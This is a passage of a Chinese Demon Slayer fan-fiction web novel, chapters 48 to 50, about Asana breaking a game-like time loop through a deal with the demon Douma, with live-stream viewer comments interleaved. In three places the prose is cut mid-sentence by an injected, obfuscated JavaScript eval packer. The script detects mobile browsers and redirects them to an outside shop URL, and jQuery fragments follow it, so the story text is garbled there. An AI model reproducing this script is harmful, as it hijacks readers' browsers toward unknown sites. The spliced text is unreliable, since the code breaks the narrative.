“超过10000小时后,系统将为您自动关闭直播间。” * 雨没有停歇的迹象,空气里充斥的糜烂的甜香与血腥似乎已成这片空间永恒的气味。 朝奈踩着湿漉漉的地板,走向那个熟悉的光晕中心。 她的眼神平静无波,数不清次数的重复已经把行动化为了本能。 白橡色的头发在浑浊的灯下流淌着微光,几缕发丝安静地垂落在肩头,衣料贴合着他挺拔的背脊,勾勒出肌肉线条。 她没有犹豫,抬手,冰刀划破湿冷的空气直刺他后心。 角度,力道和时机,都与过往数不清次数的动作完美重合。 然而,这一次—— 一只苍白的手于半空中稳稳抵住了她手持的刀,力道大得让她前刺的动作瞬间停住。 刀刃就停在他脊背衣料之外几毫的距离。 朝奈漠然的瞳孔微微收缩了一下。 童磨缓缓转过身,动作从容不迫。 他松开了掌心抵着的锋利刀刃,锐利的冰刀切开了他的皮肤,一道深可见骨的伤口骤然间绽开,暗红的鲜血立刻汩汩涌出。 血顺着指缝、手腕,淅淅沥沥地滴落在光洁的地板上,发出轻微的“嗒嗒”声。 他仿佛感觉不到疼痛,只是用那双七彩的眸子静静地看着她,然后抬起那只鲜血淋漓的手。 沾满温热鲜血的手指,轻轻抚上了朝奈冰冷的面颊。 拇指摩挲着她的颧骨,动作近乎怜爱,他的眼眸深处泛着点点幽暗的光。 黏腻猩红的液体在她白皙的皮肤上留下触目惊心的痕迹,鲜红和雪白此刻形成鲜明的对比。 “朝奈,”他偏了偏头,带着一丝若有若无的叹息,“还没玩够吗?” “......” “原来你会说别的台词啊。” 朝奈那双波澜不惊的眼里终于有了波动,“我还以为这次也不会有变化呢。” 等等。 瞬间。 她意识到了不对劲的地方。 他、说、了、别、的、台、词、 以前的每一次,童磨不是笑着慢慢死掉,就是故意说几句恶心她的话。 因为那是游戏赋予他的设定,台词库里翻来覆去就那么几句话,不论重复多少次都不会有变化。 会有变化的是—— 那个世界历经无数次重启之中诞生的错误产物。 那个可以穿梭在各个时间线的上弦鬼。 48.第四十八章 “什么时候开始的?” 什么时候开始取代赝品,来到她面前的? 朝奈冷静地问出这个问题,也在自省似的思考着。 她经历了多少次轮回? 太多次,连自己也记不清了。 ——“你是来杀我的吗?” ——“你是在教我害怕吗,朝奈。” ——“朝奈这么认真的看着我...” ——“朝奈这次...” 明明记不得存档重启的次数了,为什么那些话还清晰地在脑海中响起? 对面的人似乎认真地思考了一瞬,给出了答案,“也许是,第153次?” 不对。 他在骗人。 [朝奈这次——] 那时的他为什么会用“这次”这样的词呢。 因为有上一次。而谁可以继承上一次的记忆呢? 答案显而易见。 【摩西摩西?加密对话不带我玩?】 【求解码,他们在说什么,什么“什么时候开始的”,什么153次的,我啥都听不懂】 【谜语人滚粗鬼灭之刃!!!!】 【仙家对话,全听懂的家里请高人也没救了】 冰刃的柄从她掌心滑落的瞬间,被另一只手接住。 童磨看着自己握住的刀,丝毫不在意手上的那道伤口还在流血。 “朝奈的鬼血术越来越厉害了。” “还记得我第一次见你的时候吗?” 他陷入了回忆之中,声音不可避免地染上几分怀念。 “我以为你会像其他人一样,在恐惧中失去行动能力,然后变成我的一部分。” “可你没有。” “你掐断了我刺进去的冰蔓。”他说这句话的语气里带着点惊叹,似乎在讲述一件到现在都不可思议的事情。 “那是我第一次见到有人类这样做,碎冰和血一起落到地上,你看着我的时候还在笑。” “当时我在想啊,明明肺叶都破了,呼吸都在咳血,为什么还要反抗呢?” 他看着自己手上正在痊愈的伤口,喃喃自语般说着,“这个人类可真有趣,明明都要死了,刺过来的刀还是那么稳。” 朝奈当然记得这些。 这是她所有轮回的起始。 如果那个夜晚没有打开游戏遇到他,解锁隐藏阵营,是不是后续的事情都不会发生? 【oi!童磨使用了回忆杀!】 【居然是回忆杀吗,有点意思】 【往日种种文学】 【在这种时候突然煽情,要干嘛?】 【你们没感觉奈奈子的状态明显不对劲吗?】 【嘶,你这么一说还真有点】 “你现在变得比我想象的还要强。”对方的声音把她从思绪中拉回现实,“可除了变强之外——” 童磨眼里的笑意渐渐淡去,他松开刀柄,任由冰刀坠落,在空气中化为一道雾气。 “你的眼睛里。” 他的指尖缓缓下移,隔着一寸的距离描她眼睛的轮廓。 “现在呢,什么都没有了哦。” 朝奈静静地与他对视,她能感觉到自己胸腔里那颗心脏的跳动平稳规律。 她也能感知到自己应该产生一点别的情绪。 可是,心脏跳动的位置好像什么都没有,就好像一块被无数次重启磨平了棱角的石头。 她能说什么呢? 告诉他她也不记得从什么时候开始变成这样的? 告诉他自己试过在每一次重启里寻找不同,但是一无所获? 告诉他自己已经分不清杀了多少次,重启了多少次,在这条永无尽头的路上走了多久? 还是告诉他,或许他就是那个罪魁祸首? 【我擦,到底发生了什么】 【煮啵你说话啊】 【直播间的大伙好像热锅上的蚂蚁,急得不行】 【靠北,你们怎么突然都开始狂刷礼物了】 【这不是想靠礼物提示音唤回主播的心嘛】 【什么新型榨财方式吗,懵】 “朝奈。” 他的声音突然靠近。 “你刚才在想,”注视着她的眼睛,他一字一句地说,“自杀重开,去别的时间线。” 朝奈的瞳孔骤然收缩。 “你的鬼血术,”他轻轻叹息着,“你身体里流淌的血,都和我息息相关。” 他的拇指缓缓摩挲着她的脸。 “你想要自杀离开的瞬间,那种感觉我早已熟悉了呢。” 朝奈闭上眼睛。 反正都是徒劳,最后都会回到原点,无所谓了,随他去吧。 阻止她自杀也好,说些没用的话也罢。 反正这个时间线剩下的时间也不多了。 她有点累了。 “我不喜欢。” “我不喜欢这样的朝奈,眼睛里什么都没有,像一具只会做固定动作的人偶。” 朝奈目光淡然地看着他,“所以呢?” “你想要我怎么做?求饶?求你给我一个痛快?” 她像是突然明白了什么,露出一个了然的笑。 “还是说——” “你终于陪我玩腻了,想亲手了结我的生命?” 窗外几道闪电过后,雷声持续轰鸣,震耳欲聋。 雨越下越大。 良久,童磨松开捏着她下巴的手,退后半步。 “都不是哦。” 他的声音恢复了往日那般带着甜腻气息的腔调。 “和我做个交易吧,朝奈。” * “初次见面,水无月小姐。” 童磨把遮住半张脸的折扇移开,露出那幅熟悉的面容。 月光不知何时穿透了云层,从窗棂的缝隙间漏进来,为地面镀上一层银白色的光。 他微微倾身,做出一个邀请的姿势。 “迷路的小羔羊啊。”声音甜得像融化的蜜糖,“怎么会跑到这种地方来呢?” 朝奈站在原地看着眼前的一幕,手指在袖中轻微地蜷缩了一下。 这是很久都没有过的感觉,仿若冰封已久的水面之下,有什么东西在试图破冰而出。 “不过没关系哦,” 他伸出手,掌心向上,停在两人之间,“要不要和我一起,去往极乐呢?” 那只手杀过无数人,此刻却向她伸来,等待她的选择。 “你——” 话还没说完,对方的手指已经抵上她的唇。 “不用着急回答。”他笑意盈盈,“我们有的是时间。” * 在朝奈尚未反应过来交易是什么的时候,空气中那片雾气重新凝聚成冰刃。 童磨握住那把刀。 他的眼睛弯成月牙的形状,然后将刀刃用力往心脏处一推。 “这里的时间不多了,”他笑着说,“下次见吧~” 世界瓦解。 * 雨声。 这是朝奈意识回笼的瞬间第一个感知到的东西。 淅淅沥沥的雨落在瓦片上,青石板上,汇成一片绵密的白噪音。 眼前的景象和之前无数次重启的起点都不一样。 檐下挂着风铃,被雨水打得轻轻摇晃,发出清脆悦耳的声音。 她坐在走廊边缘的地板上,和服的下摆铺在木板上,两只脚垂下去,稍稍移动便能碰到雨水淋湿的草丛。 童磨就坐在她旁边。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344215|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们谁都没开口说话,就这么静静地看着眼前的雨落。 雨声持续。 一分钟。 两分钟。 不知道过了多久,朝奈的衣袖被斜飘进来的雨水打湿,布料上晕开一片深色的水痕,和服的领口也沾染了湿气,贴在颈侧带着微微的凉意。 “你再不说话,我的衣服就要全湿了。”寂静之中她淡淡地开口。 童磨摊开折扇,掩着唇轻轻笑了起来。 朝奈偏过头,有点不理解地看着这人,“笑什么?” “喜欢的朝奈,回来了一点点。” 他还在看雨,眼中映着庭院里的雨幕。 朝奈收回目光。 “你确定要和我做那个交易?”她冷不丁发问。 童磨没回答。 她感觉到旁边有轻微的动静,微微侧头,看见他抬起一只手。 那只手本来笼在袖子里,此时伸出来,递到她眼前。 袖口滑落,露出一截苍白却有力的手腕。 手腕上缠着一根红线,目光顺着那根线延伸出去,最后来到她自己的手腕处。 同样的红线,另一端绑在她的手上,把他们连接起来。 “朝奈酱自杀的时候,”童磨委屈的声音从旁边传来,“我也会很痛啊。” 朝奈的眉心没忍住跳了一下。 “也稍微考虑一下别人的感受吧?”他嘟嘟囔囔的抱怨着。 考虑一下别人的感受? 从童磨口中听到这种话,朝奈有点气笑了。 “我知道你一直在用这种方式强行重启世界线啦。” 他继续说,语气倒是挺轻快的,“也大概知道你要做什么哦。” “所以,和我交易明明稳赚不亏吧?” 朝奈盯着他看了很长时间,她当然知道这场交易于她而言利大于弊,但—— 一阵风吹过,屋檐下挂着的一排风铃轻轻摇晃。 她的声音和清脆的风铃声重叠在一起,“可我还是觉得不解气。” 童磨愣了一瞬。 “真是不好意思。” 在对面明显惊愕的表情里,朝奈站起身,握着不知从何而来的刀,刀尖对准熟悉的胸口。 就在要刺进去的瞬间—— 世界毫无征兆地开始瓦解。 童磨的身体在她面前变得透明,像被雨水冲刷的水墨画,颜色一点点褪去,轮廓变得模糊起来。 他的眼睛还在看她。 弯弯的,带着笑意。 嘴唇一张一合,无声地说了几个字。 朝奈看懂了,他说的是—— “下次见。” * 朝奈站在一片白色的空间里,无边无际,手中还握着那把没消散的冰刃。 “朝奈。” 一个声音从前方传来。 朝奈应声看去,一个人影从白色中浮现。 鬼杀队的主公,她在神秘代码背后见过无数次的面孔。 产屋敷耀哉穿着那身熟悉的衣服,温柔地看着她。 “你做得很好。” “近千年来,上弦鬼之执念第一次尽数清除。” 他的声音在白色的空间回荡。 “这场浩劫终于落下帷幕。” 朝奈听着这些话,心里有一瞬的心虚。 因为她并没有净化童磨的执念,只是和他做了一个有关执念的交易。 产屋敷耀哉的话还在继续。 “现在,只剩下最后一件事要做。” 他的目光温和,平静,带着某种托付的重量。 “朝奈,你愿意接受这个任务吗?” 朝奈心想都走到这一步了,难道还有她拒绝的机会吗? 49.第四十九章 画面一转。 和无穷无尽次数里那个下着雨的庭院截然不同。 朝奈站在一条街道上,阳光很好,照在身上很温暖。 街道两旁是低矮的房屋,行人外来穿梭,没人注意到她。 她打量了一下自己身上的装扮,之前那件被雨水打湿的和服变成了一身适合这个时代的装束。 她也注意到视野中那个熟悉的界面。 任务面板上,那行原本灰色的字亮了起来。 [寻找青色彼岸花] [状态:进行中] 朝奈脑海中响起那人最后说的几句话。 “让鬼舞辻无惨恢复成正常人的身体吧。” “青色彼岸花的药方,已经经过蝴蝶忍那孩子的改良,不会再把他变成那种怪物了。” 阳光落在她的肩上,她迈出步子,走向地图上标记的任务地点。 - 朝奈站在一处庭院里,隔着半开的门,听到里面传来女人的哭声,还有瓷器碎裂的脆响。 然后是脚步声,门被猛地推开,一名穿着华丽和服的年轻女人捂着脸冲出来,经过朝奈的时候狠狠瞪了她一眼,头也不回地跑了。 她面无表情地看着那个女人消失在院门尽头。 第五位。 她在心里默默数着。 屋内安静下来,只剩下偶尔的咳嗽声。 她不紧不慢走上台阶,门被推开了,她连敲门的功夫都省了,直接侧身进去。 室内光线昏暗,窗帘将日光隔绝在外,空气中弥漫着一股很浓的药味。 鬼舞辻无惨靠在床褥上,他比朝奈想象中还要瘦弱,颧骨的线条过于分明,皮肤呈现出一种病态的苍白,几乎能看见皮下青色的血管。 黑色的微卷长发散落在枕上,衬得那张脸越发没有血色。 他听见脚步声,抬眸。 一双梅红色的眼睛,不满地落在朝奈身上。 “你是谁?” 他的语气傲慢无比。 朝奈站在床边,看着这个人。 未来的鬼之始祖,千年之后让无数人恐惧的存在,此刻却虚弱得连起身都要人搀扶。 她想起自己经历的那些轮回,追究最根源的因果,便是面前之人。 “你站在那里不说话是什么意思?”他很不耐烦。 “唉,小小年纪就不行了。”朝奈摇头叹气。 “...什么?” “刚才那个哭着跑出去的人,”朝奈忽悠道,“说你娶她回来就要守活寡,还骂你不行。” 无惨的脸色肉眼可见地更白了一瞬。 “你——!” 他撑起身想坐起来却因为动作太急,引发一阵剧烈的咳嗽。 朝奈就这么站着,看着他咳。 【煮啵故意的吧】 【我要笑晕了,忽悠人这一块奈奈子没输过】 【注意看这个男人叫无惨,他现在真的很惨】 【这什么新型话疗,专往人肺管子上戳】 【你们有没有觉得这个无惨看起来好柔弱好适合推倒啊()】 【原来无惨大人没变鬼之前就是个病秧子,好适合mob啊】 【什么虎狼之词】 无惨终于咳完一阵,靠在枕上喘气,眼角因为剧烈咳嗽而泛红。 他抬眼,用一种恨不得杀人的目光盯着朝奈。 “你、到、底、是、谁?” 每个字都像是从牙缝里挤出来的。 朝奈在床边的桌子上看见了那碗还没收走的药碗,碗底残留着深褐色的药渣,旁边还有一个被打翻的漆盒。 她回避他的问题,反问道:“你想和其他人一样健康吗?” 无惨的呼吸顿了一瞬。 他梅红色的眼里闪过一丝怀疑,“你说什么?” 朝奈从袖子里拿出三个小瓶子。 金的,银的,铜的。 三个瓶子一一排开。 “你选哪个?” “这个金的,还是银的,还是这个铜的呢?” 【???】 【煮啵你在干什么】 【你掉的是这个金斧头,还是银斧头,还是这个铜斧头?】 【笑晕,奈奈子就这么逗弄无惨】 【要我我就选金的,瓶子值钱】 无惨看着那三个瓶子,视线又回到朝奈身上。 他的眼神从怀疑变成懒得搭理的疲态。 “出去。”他的声音不大,语气很重,仿佛失去了所有的耐心。 朝奈当然没听他的话。 “我说——” 无惨的声音拔高,却因为情绪激动再次引发咳嗽。 这一次比刚才厉害得多,他弓着身子,一只手捂着嘴,肩膀剧烈抖动。 等咳嗽终于平息,手掌心多了一滩暗红。 朝奈注意到了他手上咳出的血,又扫过他因咳嗽而泛红的眼尾,还有因虚弱而微微发颤的手指,在心里做了一个判断。 就他这病秧子的身体,霸王硬上弓完全没问题。 【奈奈子的眼神不对了】 【我怎么感觉她在看一只待宰的羔羊】 【马萨卡。。。】 【无惨选不选真的重要吗,反正主播早就决定好了(笑】 【可怜的无惨,被奈奈子玩弄于股掌之间(?】 朝奈向前迈了一步,无惨看见她的动作,下意识往后缩了缩。 “你要干什么?”他的声音终于有了一丝慌乱。 她伸出手,精准地捏住他的两只手腕,然后锁在一处。 无惨的眼睛瞪大了。 他想挣扎推开她,可虚弱的身体根本使不上力气。 手指抓住她的手腕,拼尽全力也才在她的皮肤上留下几道握痕。 “放、放开我——” 朝奈的另一只手拿起瓶子。 其实正确的答案是三个都要选。 瓶塞被取出,她把瓶口对准他的嘴唇,倾斜,液体流进去。 无惨发出抗拒的声音,但那些液体还是顺着食道滑了下去,一滴都没浪费。 喂完药朝奈松开了手,他立刻后退,手指抠进喉咙,想要把喝进去的东西吐出来。 “你给我喝了什么?!” 朝奈只淡淡地看着眼前的任务面板。 [主线任务:消灭鬼之始祖] [状态:已完成] 那行字变成橙色,然后缓缓消失在视野里。 她看着那行字消失,心里有种说不清的感觉。 结束了。一切。 就这样? 她回想起上弦鬼们的执念与故事,想起自己无数次的回溯,想到那个人。 那场还未完成的交易。 她看着床上还愤怒地盯着自己的人。 无惨大概还不知道,自己刚刚错过了什么。 ——制造无数的鬼,杀害无数的人,与鬼杀队缠斗数千年的未来。 所有的可能都不复存在。 他会慢慢恢复健康,成为能在阳光下行走的正常人。 朝奈收回手,转身朝着门口走去。 “你到底是谁?给我喝的是什么?你要去哪里?!” 她推开门,阳光落在她身上。 身后的声音越来越远,就好像和她之间隔了一层看不见的界线。 朝奈走进阳光里,庭院的花开得正好,粉的白的挤在一起,不知道叫什么名字。 她顺着来时路往外走,直到走出大门,来到外面的街道上。 和她刚来这里时一样,来来往往的行人,远处起伏的屋檐,天空飘过的白云。 低头看向自己的手腕,那根红线还在,从皮肤下透出来,延伸向看不见的远方。 朝奈随便选了一个方向,继续向前走。 手腕上的线随着走动,轻轻晃了晃。 * 地狱里,莲花盛放于罪孽池之上。 当朝奈穿过轮回司的迷雾,踏过三途川的花海,最终在赎罪殿最深处的莲花池盘找到童磨时。 他正浸在池水中。 罪孽凝成的暗红色水流漫过他苍白的胸膛,湿透的白橡色头发贴在颈侧,发梢滴落的水珠坠入池面,漾开一圈圈血色的涟漪。 他缓缓转过头来,七色的眸子在昏暗的光线下无端透出几分幽深。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352139|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你终于来了。” 他站起身,赤足踏过池底累累白骨,一步一步向她走来。 水珠顺着肌肉线条滑落,在地面上流淌出蜿蜒的湿痕,镣铐沉重地拖拽在他脚踝,每走一步都撞出锁链的回响。 童磨在她面前停住。 “我一直在等你,朝奈。” 朝奈看着他,微微侧过身。 她身后还站着两个人。 一个身形高大,六只眼睛泛着幽冷的光,长发垂落腰间,面容沉静如水。 另一个身材精悍,薄樱色的短发下是一双金色的眼睛。 黑死牟,猗窝座。 童磨的目光从朝奈脸上移开,扫过那两人。 “这是...” “捞人。”朝奈言简意赅,“你们三个,一起。” 童磨没搞清楚情况地眨了眨眼睛。 “朝奈酱,你是来地狱团建的吗?” “赎罪期满,流程都走完了,”她慢慢悠悠地解释,“我来带你们出去。” 话音刚落,三副镣铐同时发出一声巨响,然后碎裂。 铁片落入罪孽池中,溅起小小的水花,很快就沉底再看不见。 童磨低头看着自己重获自由的脚踝,“就这样?” “就这样。” “跟我来。” 朝奈转过身,向殿外走去。 身后三人跟上。 穿过赎罪殿,走过莲花池,踏过白骨堆成的岸。 三途川的彼岸花海在脚下延伸,红得如烈火般。 轮回司的迷雾在前方翻涌,其间有扇巨大的门。 走过花海,穿过迷雾,不止走了多久,眼前一亮。 迷雾散尽,面前是一个十字路口。 三道光芒从路口延伸向不同的方向,左边的光幽暗沉静,像是月光下的竹林。 右边的光明亮炽热,仿若雪山祭典上燃起的一道道火炬。 中间的光变换迷离,如同流动的虹彩。 而身后的来时路已被黑暗吞没。 朝奈停住脚步。 “就送到这里。”她转过身,看向三人。 “剩下的路你们自己走。” 三个人不约而同地沉默了一瞬。 “你呢?”童磨问。 朝奈没回答。 “你要选哪条?”猗窝座跟上一句。 朝奈看着他,唇边浮现出一个很淡的弧度,“秘密。” 在寂静之中,黑死牟最先动,他从袖中取出一物,递到她面前。 是一支竹笛,带着经年累月摩挲的温润。 朝奈很自然地接过,也不问为什么。 黑死牟似乎也不打算解释,“多谢。” 那道声音低沉,如深潭里的水。 然后他转过身,走向左边幽暗沉静的古径,走出几步后,他微微侧首,在路的拐角处最后看了眼朝奈。 猗窝座第二个动,他走向右边光亮的道路。 脚步很快,像在赌气。 “不选我的话——” 声音从前方传来,“你等着瞧吧。” 他的身影很快消失在光里。 只剩下童磨,他站在原地没动。 朝奈用眼神询问他。 童磨微微俯身,凑近她的耳畔。 “亲爱的。”冰冷的呼吸拂过她的脸颊,“你会选谁呢?” 朝奈面不改色地提醒,“你该走了。” “这是拒绝?” “这是‘下次见’。” 童磨得到了还算满意的回答,摇着折扇笑得眉眼弯弯。 他退后一步,转过身走向中间的路。 走到光影交界处时,他稍微停了停,然后抬起手朝身后挥了挥。 声音从前方飘来,带着惯常的甜腻尾音: “别忘了我们的交易哦,朝奈酱~” 下一秒,他的身影消失在视野中。 十字路口恢复了寂静,只剩下朝奈站在原地。 她捏着手中的竹笛,收进袖中,然后迈步走向了其中一条路。 下一秒,那道光吞没了她的身影,像是久别重逢后的拥抱。 50.第五十章 1. 我记不清是从什么时候开始的了。 大约是某个寻常的午后,或者黄昏? 不过也不重要了,反正这些时刻对我来说都像是同一片水面,既没有波澜,也映不出任何倒影。 我察觉到有什么东西,在看我。 那道目光很轻,仿若一片花瓣飘在池塘中间,不惊动任何涟漪。 它就这样一直存在着,在我回头去看的时候,消失得干干净净。 我试过很多次,在走廊上经过的时候,在堂内倾听信徒烦恼的时候,在夜里独自躺在榻榻米上的时候。 我会突然转头,结果什么都没有。 不过我能感觉到,它一直在。 2. 我开始寻找。 说不清是出于好奇,还是因为别的什么。 那是我第一次升起强烈的求知欲望。 父亲和女信徒有染的事情我早就知道了,整座宅邸的人都知道,只是没人说。 我们都在演各自的戏,维持着万世极乐教表面的平静。 父亲演他的虔诚,母亲演她的温顺,我演他们早慧、被神祝福过的孩子。 很可笑吧。 我在每一个可能藏人的角落里留下痕迹。 故意掉落的手帕,随手摘下的花,半盒精美的点心。 我想,它会知道这些是送给它的。 可它始终没有选择出现在我面前。 3. 那天晚上月亮很圆。 我睡不着,听着这座宅邸里所有的声音。 风声,虫鸣,还有脚步声。 很急,是母亲。 我坐起来,拉开门。 月光照在走廊上,像铺了一层霜。 母亲的背影消失在转角处,朝着一个房间走去。 我跟着去了。 门被拉开的时候,我站在走廊的阴影里。 我亲眼看见母亲走进去,看见父亲脸上的表情从惊愕变成恐惧。 母亲举起手里的东西,是一把刀。 ...... 父亲倒下去的时候没有发出太大的声音,血的颜色很深。 不久后,母亲也崩溃地自杀了。 我站在原地,什么表情都没有。 因为我根本感受不到悲伤,只觉得他们两个愚笨极了。 为什么非要闹成这样呢? 我平静地想着,然后感受到了那抹熟悉的视线。 我侧过头,在走廊另一个尽头的阴影里,有一小片淡紫色。 月光照不到那里,我只能看见一小片颜色。 淡紫色的和服,还有一缕黑色的发丝垂在阴影的边缘。 我向前迈了一步。 那抹淡紫色动了一下,随即消失了。 我追过去,走廊的尽头什么都没有,只有月光,风,和我自己的呼吸声。 不过没关系,我看见了,虽然只有一瞬间。 赤色的瞳孔,黑色的头发,淡紫色的和服,那是一个和我差不多大的女孩。 4. 从那以后,我在信徒面前演得更加投入,用温柔的嗓音说着他们想听的话。 我知道她还在看。 我注视着他们生老病死,生命流逝,看着他们脸上虔诚满足的笑容。 在那些瞬间里,我会想:她会觉得有趣吗? 我想让她觉得有趣。 我想让她一直看着我。 5. 后来我变成了鬼。 那不是一个艰难的决定,活着和死了对我来说没有太大区别。 无论我去了哪里,做了什么,杀了多少人。 百年来,那道视线都在。 我又开始寻找她。 6. 一百年,两百年,三百年。 我活着,仿佛一片永远落不到地面的叶子。 信徒们来了又走,只有那道目光,一直专注地在我身上。 她到底是谁? 为什么要看着我? 她还会看多久? 我得不到她的答案。 7. 那一天,我意识到了自己的不同。 我不知道该怎么形容那种感觉。 就像是一直蒙在眼睛上的一层纱忽然被揭开,沉在水底一百年的宝物忽然浮出水面。 我看见自己站在无数面镜子中,每一面镜子里都有一个我,在做着不同的事情、说着不同的话。 那些镜子外面,还有更多的镜子。 无穷无尽的镜子,和无穷无尽个我。 一个陌生的声音说:出现未知错误。 又一个声音说:错误代码。 还有一个声音说:系统正在修复中... 我站在无数面镜子中间,目光掠过无数个镜中人。 原来是这样。 我只是庞大程序里的一个出现错误的代码。 我所有的记忆、感受、一切都是可以被抹去重写,然后迭代的。 那么,那道目光是谁? 为什么要看一个出错的无用代码? 我伸出手,触碰最近的那面镜子。 镜面像水面一样波动起来,然后我穿过去了。 8. 我开始了旅行。 在不同的时间线里穿梭,游荡在不同的世界。 我见过无数个自己,做出了完全不同的选择。 我试图在这些碎片里找到有趣的东西。 这很难。 因为我已经看过了太多,每一个世界的痛苦与极乐对我来说都没有意义。 重复,永无止境的重复。 原来世界之外也这么无趣。 直到我在莲花池边遇到了她。 那天的莲花开得正好,浮在水面上。 她就站在池水中央,穿着那身淡紫色的和服,黑色的长发垂在肩头。 就是她。 那个不知多少年前在月光下消失的女孩,那道跟随了我不知多少年的目光。 我不受控地靠近她。 9. 这是一个游戏。 我在无数个世界里寻找她。 每一次相遇我都会消失,然后在下一次时间跳跃中,重新找到她。 有趣。 太有趣了。 我已经很久没有觉得任何事情有趣了。 这不一样,这是新鲜的,未知的。 独属于我的。 10. 她在追杀我。 不,她在追杀一个赝品。 那个最初的,没有觉醒过的普通代码。 每次她杀死那个赝品,世界就会回溯,一切重新开始。 而她不知道,意识觉醒的我,就藏在每一个时间的角落里窥视着她。 我亲眼目睹她在一次又一次的轮回中变得越来越疲惫。 动作开始迟缓,眼神开始黯淡,攻击变得如同机械的重复。 我开始意识到一件事。 在这场游戏里,只有我一直在享受着新鲜、未知和乐趣。 但她呢? 她又在经历什么? 10. 那天,我站在她身后,看着她又杀死了一个赝品。 世界开始回溯,一切重新倒转,她的身影变得模糊。 突然,有人拉住了我的衣袖。 我回头。 那个女孩穿着淡紫色的和服,黑色的头发,赤色的瞳孔。 和我一直在追寻的女孩一模一样。 可是我立马察觉那并不是她。 “童磨大人,”她轻轻劝说,“请停止吧。” 我看着她。 “再这样下去,朝奈小姐会失去自我的。” “你是谁?” “我是阿真,也是朝奈小姐灵魂的一部分。” “请停止吧,这场游戏不该继续下去。” “如果,我要拒绝呢?” 阿真的目光里带着几丝淡淡的忧伤,她拉起我的手,要带我去一个地方。 11. 阿真带着我来到了朝奈面前。 她坐在一棵枯树下,背倚着树干,双眼闭着。 脸色苍白,呼吸很轻,仿佛随时都会消散。 “再继续下去,朝奈小姐她——” 阿真的话没有说完。 我明白她的意思。 可是,那又和我有何干系呢? 那天,在树下,我亲眼看着她的身体消散在空中。 我仍旧面无表情,内心感受不到任何情绪。 啊。 世界又会变得无趣了。 那是我一瞬间唯一的想法。 风从指尖穿过,在阿真的目光下,我转身离开,继续我的旅行。 12. 我继续穿梭在不同的时间线里。 有一个世界,夏日祭典的小摊上挂满了风铃,风吹过的时候会发出细碎清脆的声音。 我经过的时候,店里的老奶奶正在擦拭一枚纹着金鱼图案的风铃。 她抬起头,笑着问我:“那个穿着淡蓝色和服的女孩怎么没有来?你们不是总一起经过这里吗?” 我愣住了。 总一起经过这里? 在这个世界里,我和她? 我随便找了个理由搪塞她,然后往前走。 走出很远之后,还隐隐约约能听见风铃的声音。 我停下来,回看那些小摊,胸口某个地方像被什么东西轻轻碰了一下。 13. 又一个世界,是个雨天。 我站在桥下学着别人躲雨。 有个小女孩也跑过来,她的衣服湿了一半,头发贴在脸上。 “大哥哥,你在等人吗?”她仰起脸问我。 “等人?” “对啊,你一直看着雨里,不是在等谁吗?” 我没有说话。 女孩自顾自说了起来:“我也在等人,等我姐姐。” “她说下雨会来接我, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360485|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是雨都下了这么久了,她还没来。” “不过没关系啦,我知道她一定会来的,因为姐姐答应过我了呀。” 小女孩的眼睛很亮,里面装满了我看不懂的东西。 直到她的姐姐把她接走了,我也没有告诉她,我没有等谁。 因为想等的那个人,已经不会来了。 14. 无数个世界,无数个瞬间,我开始做一些自己也不明白为什么要做的事情。 在一个樱花飘落的坡道上,我捡起一朵樱花,开始观察那些花瓣。 看了许久我才想起,这是她曾经做过的事情。 在一个烟火大会的夜晚,我站在人群外面,看着天空绽开的烟火,忽然想起,在某次轮回里,她曾站在我身边,仰着头看烟火。 火光映在她的赤色眸子里,像有星星点缀其间。 在一个夕阳西下的海边,我踩着她的脚印走。 脚印是她很久很久以前留下的,在这个世界的某个时间点。 我找到了那个时间点,来到这片沙滩,看着她的脚印往远处延伸。 我踩上去,一步一步,沿着她走过的路走。 15. 时间久了,我开始听见一些声音。 “你在找什么?” 那是阿真的声音。 她已经很久没有出现了,我以为她也跟着朝奈一起消失了。 “你在找她吗?”阿真又问。 我仍然没有回答。 “她已经不在了,你知道的。” 我停下脚步。 “我知道。” 我当然知道,是我亲眼看着她消失在我面前的。 “那你为什么还在寻找呢?” 我想了想,说,“因为我不知道除了找她,还能做什么。” 这次轮到阿真沉默了。 很久之后,她轻轻叹了口气。 “童磨大人,你知道什么是爱吗?” 我摇头。 “我不需要知道。” 我也不需要爱。 “是吗?”阿真的声音听起来很温柔,“那为什么你的记忆里全是她?” 我张开嘴想要反驳,却发现自己说不出任何话。 16. 后来,我来到一个即将崩塌的世界。 我站在一座桥上,准备等这个世界彻底瓦解之后再离开。 然后我看见远处的街巷燃起了大火,火光冲天,映红了半边天空。 一扇冒着浓烟的窗前,她怀里抱着一个孩子,身后是炽烈的火海,火焰在她周围跳跃。 